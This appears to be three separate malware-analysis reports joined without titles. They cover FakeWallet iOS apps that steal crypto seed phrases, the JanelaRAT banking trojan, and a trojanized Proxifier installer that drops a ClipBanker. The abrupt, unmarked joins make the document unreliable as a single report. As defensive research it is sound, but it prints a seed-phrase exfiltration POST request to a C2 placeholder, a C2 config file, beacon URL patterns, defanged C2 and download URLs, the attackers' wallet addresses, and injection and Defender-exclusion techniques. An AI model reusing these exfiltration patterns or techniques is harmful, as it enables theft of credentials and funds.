Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background

This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic.  The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

Malicious modules for hot wallets

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

• The extracted mnemonics are stringed together.
• This string is encrypted using RSA with the PKCS #1 scheme.
• The encrypted data is then encoded into Base64.
• Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:

POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger

The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

• Resolve symbols dataInit or processX0Parameter from the malicious library
• Hand over control to these newly discovered functions
• Execute the code for the original methods that the wrapper was built to replace

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module

The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points:  two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

• The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
  

  {
  	"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
  	"code": "10001",                                         // special code	"login-url": "hxxps://xxx[.]com",                                              
  	"login-code": "88761"                                                               
  }

• Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
• As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
  • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
  • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
• Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

• MnemonicVerifyScreen, embedded in PortfolioNavigator
• PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

• verify-wallet-status.json tracks the current status and the timestamp of the last update.
• verify-wallet-config.json stores the C2 server configuration the malware is currently using.
• verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Other distribution channels, platforms, and the SparkKitty link

During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims

Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution

According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

• Some infected apps contained SparkKitty modules alongside the FakeWallet code.
• The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
• Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
• Both campaigns specifically target victims’ cryptocurrency assets.

Conclusion

Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

• Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
• Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
• Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.

Indicators of compromise

Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

At the start of the year, a certain Trojan caught our eye due to its incredibly long infection chain. In most cases, it kicks off with a web search for “Proxifier”. Proxifiers are speciaized software designed to tunnel traffic for programs that do not natively support proxy servers. They are a go-to for making sure these apps are functional within secured development environments.

By coincidence, Proxifier is also a name for a proprietary proxifier developed by VentoByte, which is distributed under a paid license.

If you search for Proxifier (or a proxifier), one of the top results in popular search engines is a link to a GitHub repository. That’s exactly where the source of the primary infection lives.

The GitHub project itself contains the source code for a rudimentary proxy service. However, if you head over to the Releases section, you’ll find an archive containing an executable file and a text document. That executable is actually a malicious wrapper bundled around the legitimate Proxifier installer, while the text file helpfully offers activation keys for the software.

Once launched, the Trojan’s first order of business is to add an exception to Microsoft Defender for all files with a TMP extension, as well as for the directory where the executable is sitting. The way the Trojan pulls this off is actually pretty exotic.

First, it creates a tiny stub file – only about 1.5 KB in size – in the temp directory under the name “Proxifier<???>.tmp” and runs it. This stub doesn’t actually do anything on its own; it serves as a donor process. Later, a .NET application named “api_updater.exe” is injected into it to handle the Microsoft Defender exclusions. To get this done, api_updater.exe decrypts and runs a PowerShell script using the PSObject class. PSObject lets the script run directly inside the current process without popping up a command console or launching the interpreter.

As soon as the required exclusions are set, the trojanized proxifier.exe extracts and launches the real Proxifier installer. Meanwhile, it quietly continues the infection in the background: it creates another donor process and injects a module named proxifierupdater.exe. This module acts as yet another injector. It launches the system utility conhost.exe and injects it with another .NET app, internally named “bin.exe”, which runs a PowerShell script using the same method as before.

The script is obfuscated and parts of it are encoded, but it really only performs four specific actions:

• Add the “powershell” and “conhost” processes to Microsoft Defender exclusions.
• Create a registry key at HKLM\SOFTWARE\System::Config and store another Base64-encoded PowerShell script inside it.
• Set up a scheduled task to launch PowerShell with another script as an argument. The script’s task is to read the content of the created registry key, decode it, and transfer control to the resulting script.
• Ping an IP Logger service at https[:]//maper[.]info/2X5tF5 to let the attackers know the infection was successful.

This wraps up the primary stage of the infection. As you can see, the Trojan attempts to use fileless (or bodiless) malware techniques. By executing malicious code directly in allocated memory, it leaves almost no footprint on the hard drive.

The next stage is launched along with the task created in the scheduler. This is what it looks like:

The task launches the PowerShell interpreter, passing the script from the arguments as input. As we already mentioned, it reads the contents of the previously created Config registry key, then decodes and executes it. This is yet another PowerShell script whose job is to download the next script from hardcoded addresses and execute it. These addresses belong to Pastebin-type services, and the content located there is encoded in several different ways at once.

The script from Pastebin continues the download chain. This time, the payload is located on GitHub.

It’s a massive script, clocking in at around 500 KB. Interestingly, the bulk of the file is just one long Base64 string. After decoding it and doing some deobfuscation, we end up with a script whose purpose is quite clear. It extracts shellcode from a Base64 string, launches the fontdrvhost.exe utility, injects the shellcode into it, and hands over control.

The shellcode, in turn, unpacks and sets up the code for the final payload. This is classic ClipBanker-like malware, and there’s nothing particularly fancy about it. It’s written in C++, compiled with MinGW, doesn’t bother with system persistence, and doesn’t even connect to the network. Its entire job is to constantly monitor the clipboard for strings that look like crypto wallet addresses belonging to various blockchain-based networks (Cardano, Algorand, Ethereum, Bitcoin, NEM, Stellar, BNB, Cosmos, Dash, Monero, Dogecoin, MultiversX, Arweave, Filecoin, Litecoin, Neo, Osmosis, Solana, THOR, Nano, Qtum, Waves, TRON, Ripple, Tezos, and ZelCash), and then swap them with the attackers’ own addresses.

Here is the full list of replacement addresses:

addr1qxenj0dwefgmp9z4t4dgek3yh3d8cfzcl6u97x2ln8c4nljjv7xdw2u0jhfdy90arm0xr0das4kznrh8qj33dzu8z5fqdtusyt
QSAROFQNKPXKKDNK67N5MQY5IQ4MTKGLI65KREVHKW53R2M6WHORP3ME2E
0x97c16182d2e91a9370d5590b670f6b8dc755680552e40218a2b28ec7ad105071
qrherxuw7fupud48l9xwvdcg7w64g8g7xvls9vgqyq
bc1q88r38gk8ynrhdfur7yefwf5hrn2y56s90vlrvq
36vf1gvZSxHkRRhAFiH6fotVWYEwH3tk22
14U9sBVDRyEfPgR8h9QJatwtrodey4NeH4
bc1phfm9d0fpqtgr9hkrxx5ww9k2qzww59q5czga95rtmk6vh5h8devsa72fxk
btg1qqfrsueknwmg92xrpch22wru0g4ka4p2vum3pdj
AcRjmRuDswUeQHtxJnzAn496r9Lo8XQjUK
GW9DJpw4mBJnVUWucX3szdH5bXZ9pqzLRF
bnb18nqx60dx6dhhsdyddcl0653392w0v4yhx07knl
cosmos10zqq0frph0rs36wwjg4r2r5626m6a2dgv3h6nv
DskZFNcs5MKg9EdvhAnu87YGzWwVoBvd2tZ
Xj3KofSCPq97odR8hiFjfeZs2FqbwUbstk
DJYXgJuBrc7cuGn4sgJXz1sdArKURkoWS9
erd14n38wkxm9epjh0s2y8078yqqzy4ztq9ckczy883dwcfgd54peaqs3tp2k2
a2dB176hgduQopnJPrEGjfojRWSHwTS62Q
f1qxoyqf3va2mwfbgzah3t7pqe7x5fmdev5dqc25a
inj1qw709q8utgjhxrs2cqczhmz2w254dedllzmlef
ltc1q4calyk5x5g36ckpsrcr6ndtxdlc0ea9qs4h44n
MCB8j9kXkX3f3BoXaBcsDc9RFoki9Kb3AR
LhMGEmEGwxcGhCEQ7QmbC1hywRbHbbv6p8
14FBxuV8HEuuWPFoFHbbG4Hm4pa7CqroQiGDeWvZdGiiJm8W
osmo10zqq0frph0rs36wwjg4r2r5626m6a2dgy2y297
7ATuKGME8AG9Tz5Qe4eRf1EAwqJNUvYXMiCGmtSbaJXR
thor12x0nqpjz2djpuaxm2j2z963sawdcze3nhxacyu
EQA28DFYnisowE0e49Sp2DUv6RKQWOJGbvegKWRPXE83bMnQ
nano_1j9mjyi4q8qytb1r7yyqntzkyay5xo1wznnwmy9a3p9r371zb3d6wr6xs8y5
QXwbqRnmxgmMZQk5WEvMYEBVzf1MP4eMY9
3P7zSKMhfMPr5kd85xtHNmCx2gi9apCgnSP
TNkGLYwtjcSk2A9U8cxJzttGeGEgz56hSP
GB4XWREV3WOXWIWFE3DVX3FUNUXLOC7EEGXHZXRUKI5AMZAG3SV7EV4P
46QtL5btfnq85iGrPDFabp4mxGhRbEZJaH67i5LhQsWhCnuiURKVU74QbMpf4TcZqgDnENMWaqhpt82vQSEdyBf4Tp1v8Y9
rKwSuwgNNWn8P8x1ckUopKkErnPW3tVrz9
tz1cPNzMxTsLzV1Gca2VowGgjRm7MkRzGLw5
t1Nwwai9UsQxcgJVVbssnmfjfznhbq2v8ud
ZEPHYR2tzMbbkY7CCsShtADqstJLEeZfEiDHQeRchSg8FoqAn2XzsDD8eEEx5cweBQb4jX12DhfPz36c6TD6uV9fPrcFMqwzTn93Y

The complete execution chain, from the moment the malicious installer starts until the ClipBanker code is running, looks like this:

Victims

Since the beginning of 2025, more than 2000 users of Kaspersky solutions have encountered this threat, most of them located in India and Vietnam. Interestingly, 70% of these detections came from the Kaspersky Virus Removal Tool, a free utility used to clean devices that are already infected. This underscores the importance of the preemptive protection: it is often cheaper and easier to prevent the infection than to face consequences of a successful attack.

Conclusion

This campaign is yet another perfect example of the old adage: “buy cheap, pay twice”. Trying to save a buck on software, combined with a lack of caution when hunting for free solutions, can lead to an infection and the subsequent theft of funds – in this case, cryptocurrency. The attackers are aggressively promoting their sites in search results and using fileless techniques alongside a marathon infection chain to stay under the radar. Such attacks are difficult to detect and stop in time.

